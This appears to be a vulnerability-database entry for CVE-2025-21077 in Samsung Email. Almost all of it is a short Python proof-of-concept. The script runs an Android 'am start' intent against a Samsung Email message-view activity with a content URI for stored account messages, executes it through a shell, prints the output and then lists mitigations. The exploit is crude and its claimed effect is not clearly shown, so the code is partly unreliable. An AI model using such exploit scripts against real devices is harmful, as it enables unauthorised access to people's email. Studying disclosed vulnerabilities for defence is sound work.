CVE-2025-21077 | Samsung Email 输入验证不当漏洞

# CVE-2025-21077 PoC - Samsung Email Input Validation Issue # Note: This is a conceptual PoC demonstrating the attack vector import subprocess def exploit_samsung_email(): """ Demonstrates the improper input validation vulnerability in Samsung Email. This PoC shows how an attacker could launch arbitrary activities with Samsung Email privileges. Requirements: - Local device access or malicious app installation - Target device running Samsung Email version < 6.2.06.0 """ # Attack vector: Crafted intent to trigger arbitrary activity launch # The vulnerability allows launching activities with Samsung Email's permissions malicious_package = "com.samsung.android.email.provider" target_activity = "com.samsung.android.email.ui.MessageView" # Example: Launching arbitrary activity via intent intent_command = f""" am start -n {malicious_package}/{target_activity} \ -d "content://com.samsung.email.provider/accounts/1/messages/1" \ --user 0 """ print("[*] Attempting to exploit CVE-2025-21077...") print(f"[*] Target: {malicious_package}") print(f"[*] Intent: {intent_command}") try: result = subprocess.run(intent_command, shell=True, capture_output=True, text=True) print(f"[*] Result: {result.returncode}") print(f"[*] Output: {result.stdout}") print(f"[*] Error: {result.stderr}") except Exception as e: print(f"[!] Exploitation failed: {e}") if __name__ == "__main__": exploit_samsung_email() # Mitigation: # 1. Update Samsung Email to version 6.2.06.0 or later # 2. Review and fix input validation in the application # 3. Implement proper intent filtering and permission checks